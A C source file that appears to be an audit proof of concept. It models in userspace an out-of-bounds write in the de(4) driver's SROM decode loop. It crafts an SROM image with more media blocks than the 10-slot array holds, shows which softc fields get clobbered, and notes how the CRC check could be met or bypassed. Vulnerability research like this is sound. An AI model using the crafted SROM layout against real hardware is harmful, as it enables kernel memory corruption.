/* * DF-3756 — userspace logic model of the unbounded `mi` walk in * sys/dev/netif/de/if_de.c:tulip_srom_decode() (21140 branch, lines 2178-2418). * * The kernel code does: * tulip_media_info_t *mi = sc->tulip_mediainfo; // if_de.c:2080 * ... * blocks = *dp++; // if_de.c:2183 (raw SROM byte) * for (idx2 = 0; idx2 < blocks; idx2++) { * if ((*dp & 0x80) == 0) { length = 4; type = 0; } // legacy GPR block * ... * case 0: media = lookup(dp[0] & 0x3f); // if_de.c:2197 * if (media == UNKNOWN) break; * mi->mi_type = ...; sc->tulip_mediums[media] = mi; * mi->mi_gpdata = dp[1]; mi->mi_cmdmode = ...; * mi++; // if_de.c:2223 -- UNBOUNDED * } * * tulip_mediainfo[] has exactly 10 entries (if_devar.h:483) and NOTHING in the * loop bounds `mi` against it. A crafted SROM whose leaf contains >= 11 * well-formed type-0 blocks writes past the array into the rest of the softc * (setup tag/map/dma_addr/setupbuf pointer/setupdata[48]/boardid[24]/rombuf[128]) * and beyond. * * This model mirrors the data structure layout (x86-64) and the decode loop * 1:1, fills the softc tail with canaries, and shows exactly which softc * members get clobbered by which SROM bytes. It is a *logic model* run in * userspace because the kernel path needs a physical DEC 2114x card with a * crafted serial EEPROM (absent on the audit guest). * * Build: cc -O2 -Wall -o srom_mediainfo_model srom_mediainfo_model.c * Run: ./srom_mediainfo_model */ #include #include #include /* ---- faithful type mimicry (sizes matter) ------------------------------- */ typedef uint32_t u_int32_t; typedef uint16_t u_int16_t; typedef uint8_t u_int8_t; typedef struct { int mi_type; /* enum -> 4 bytes */ union { struct { u_int16_t a, b; u_int32_t c, d; } un_sia; /* 12 */ struct { u_int32_t a, b, c; u_int8_t d, e; unsigned f:1; } un_gpr; /* 16 */ struct { u_int32_t mediamask; u_int16_t cap, adv, fd, thr, intr; u_int8_t phy, gl, go, rl, ro; u_int32_t phyid; } un_mii; /* 24 */ } mi_un; } tulip_media_info_t; /* == 28 bytes, same as kernel on x86-64 */ /* softc tail, same member order as sys/dev/netif/de/if_devar.h:483-494 */ struct sc_tail { tulip_media_info_t tulip_mediainfo[10]; /* [10] — the only legal range */ uintptr_t tulip_setup_tag; /* canary 0xA1... */ uintptr_t tulip_setup_map; /* canary 0xA2... */ uintptr_t tulip_setup_dma_addr; /* canary 0xA3... */ uintptr_t tulip_setupbuf; /* canary 0xA4... — REAL kernel ptr */ uint32_t tulip_setupdata[48]; /* canary 0xA5... */ char tulip_boardid[24]; /* canary 0xA6... */ uint8_t tulip_rombuf[128]; /* SROM image itself lives here */ }; /* tulip_srom_mediums[] decode (if_de.c:2197-2202): 0x00..0x08 are valid, * everything else maps to TULIP_MEDIA_UNKNOWN. 0 = 10BASET. */ static const int srom_media_valid[9] = {1,1,1,1,1,1,1,1,1}; int main(void) { struct sc_tail sc; const uint8_t *dp; unsigned blocks, idx2, length, type, oob_writes = 0; unsigned long media_ptr_slots[12]; /* sc->tulip_mediums[media]=mi (first 12) */ tulip_media_info_t *mi; printf("sizeof(tulip_media_info_t)=%zu (kernel: 28 on x86-64)\n", sizeof(tulip_media_info_t)); /* --- craft the SROM image exactly as the attacker's EEPROM would be --- * header: 18B idbuf + version + adapter_count=1 + 6B MAC (26B) * adapter0: {device=0, leaf_offset_lo=30, leaf_offset_hi=0} (3B) * leaf @30: conntype=0x0000 (10BASET), gpinit, blocks=23 (4B) * then 23 legacy type-0 blocks of 4 bytes each = 92 bytes (34..125) * block: {media=0x00 (10BASET), gpdata, cmdmode_lo, cmdmode_hi} * A valid CRC over bytes[0..125] with bytes[126..127]=crc is * computable by the attacker (gate at if_de.c:2480), or the whole * gate is bypassed on 21142/21143 (if_de.c:2498-2500). */ memset(&sc, 0, sizeof(sc)); sc.tulip_rombuf[18] = 1; /* version */ sc.tulip_rombuf[19] = 1; /* adapter_count */ sc.tulip_rombuf[26] = 0; /* sai_device */ sc.tulip_rombuf[27] = 30; /* leaf offset lo */ sc.tulip_rombuf[28] = 0; /* leaf offset hi */ sc.tulip_rombuf[30] = 0x00; sc.tulip_rombuf[31] = 0x00; /* conntype */ sc.tulip_rombuf[32] = 0xFF; /* gpinit */ sc.tulip_rombuf[33] = 23; /* blocks: 23 > 10 */ for (idx2 = 0; idx2 < 23; idx2++) { uint8_t *b = &sc.tulip_rombuf[34 + 4 * idx2]; b[0] = 0x00; /* media code 0x00 = TULIP_SROM_MEDIA_10BASET */ b[1] = (uint8_t)(0x41 + idx2); /* gpdata — attacker byte, lands in mi_gpdata */ b[2] = 0x71; b[3] = 0x00; /* cmdmode bits */ } /* canaries for the members that follow tulip_mediainfo[10] */ sc.tulip_setup_tag = 0xA1A1A1A1A1A1A1A1UL; sc.tulip_setup_map = 0xA2A2A2A2A2A2A2A2UL; sc.tulip_setup_dma_addr = 0xA3A3A3A3A3A3A3A3UL; sc.tulip_setupbuf = 0xA4A4A4A4A4A4A4A4UL; for (idx2 = 0; idx2 < 48; idx2++) sc.tulip_setupdata[idx2] = 0xA5A5A500U | idx2; memset(sc.tulip_boardid, 0xA6, sizeof(sc.tulip_boardid)); /* ---- 1:1 mirror of tulip_srom_decode() 21140 branch (2178-2418) ---- */ dp = sc.tulip_rombuf + 30; dp += 2; /* conntype consumed (2111) */ dp++; /* gpinit consumed (2182, HAVE_GPR) */ blocks = *dp++; /* 2183 */ mi = sc.tulip_mediainfo; /* 2080 */ printf("blocks=%u (SROM byte), tulip_mediainfo[] has 10 slots\n\n", blocks); for (idx2 = 0; idx2 < blocks; idx2++) { const uint8_t *ep; if ((*dp & 0x80) == 0) { length = 4; type = 0; } /* 2186-2188 */ else { length = (*dp++ & 0x7f) - 1; type = *dp++ & 0x3f; } ep = dp + length; if (type == 0 && srom_media_valid[dp[0] & 0x0f & 0x3f] && (dp[0] & 0x3f) <= 8) { /* case 0: media valid */ if (mi >= &sc.tulip_mediainfo[10]) { oob_writes++; if (oob_writes <= 13) printf("block %2u: OOB write at tulip_mediainfo[%td] " "(+%zd bytes past array end): mi_gpdata=0x%02x\n", idx2, mi - sc.tulip_mediainfo, (char *)mi - (char *)&sc.tulip_mediainfo[10], dp[1]); } mi->mi_type = 1; /* TULIP_MEDIAINFO_GPR */ mi->mi_un.un_gpr.c = dp[1]; /* kernel: mi_gpdata = dp[1] */ mi++; /* if_de.c:2223 — UNBOUNDED */ } dp = ep; /* 2417 */ } printf("\nOOB writes performed: %u (all past tulip_mediainfo[9])\n", oob_writes); printf("mi finished at tulip_mediainfo[%td] = +%zd bytes past end\n", mi - sc.tulip_mediainfo, (char *)mi - (char *)&sc.tulip_mediainfo[10]); /* ---- what got clobbered ------------------------------------------ */ printf("\n--- softc members after tulip_mediainfo[10] ---\n"); printf("tulip_setup_tag %s (0x%016lx)\n", sc.tulip_setup_tag == 0xA1A1A1A1A1A1A1A1UL ? "INTACT" : "CLOBBERED", (unsigned long)sc.tulip_setup_tag); printf("tulip_setup_map %s (0x%016lx)\n", sc.tulip_setup_map == 0xA2A2A2A2A2A2A2A2UL ? "INTACT" : "CLOBBERED", (unsigned long)sc.tulip_setup_map); printf("tulip_setup_dma_addr %s (0x%016lx)\n", sc.tulip_setup_dma_addr == 0xA3A3A3A3A3A3A3A3UL ? "INTACT" : "CLOBBERED", (unsigned long)sc.tulip_setup_dma_addr); printf("tulip_setupbuf %s (0x%016lx) <- real kernel: bus-mapped DMA buffer ptr\n", sc.tulip_setupbuf == 0xA4A4A4A4A4A4A4A4UL ? "INTACT" : "CLOBBERED", (unsigned long)sc.tulip_setupbuf); { unsigned clob = 0; for (idx2 = 0; idx2 < 48; idx2++) if (sc.tulip_setupdata[idx2] != (0xA5A5A500U | idx2)) clob++; printf("tulip_setupdata[48] %u/48 words CLOBBERED with SROM bytes\n", clob); } { unsigned clob = 0; for (idx2 = 0; idx2 < 24; idx2++) if ((uint8_t)sc.tulip_boardid[idx2] != 0xA6) clob++; printf("tulip_boardid[24] %u/24 bytes CLOBBERED\n", clob); } printf("tulip_rombuf[128] (source image; kernel path also runs OOB here = DF-1205)\n"); printf("\nSUCCESS-CRITERION: >=1 OOB write past tulip_mediainfo[10] -> " "logic model of if_de.c:2223 defect CONFIRMED\n"); return (oob_writes > 0 ? 0 : 1); }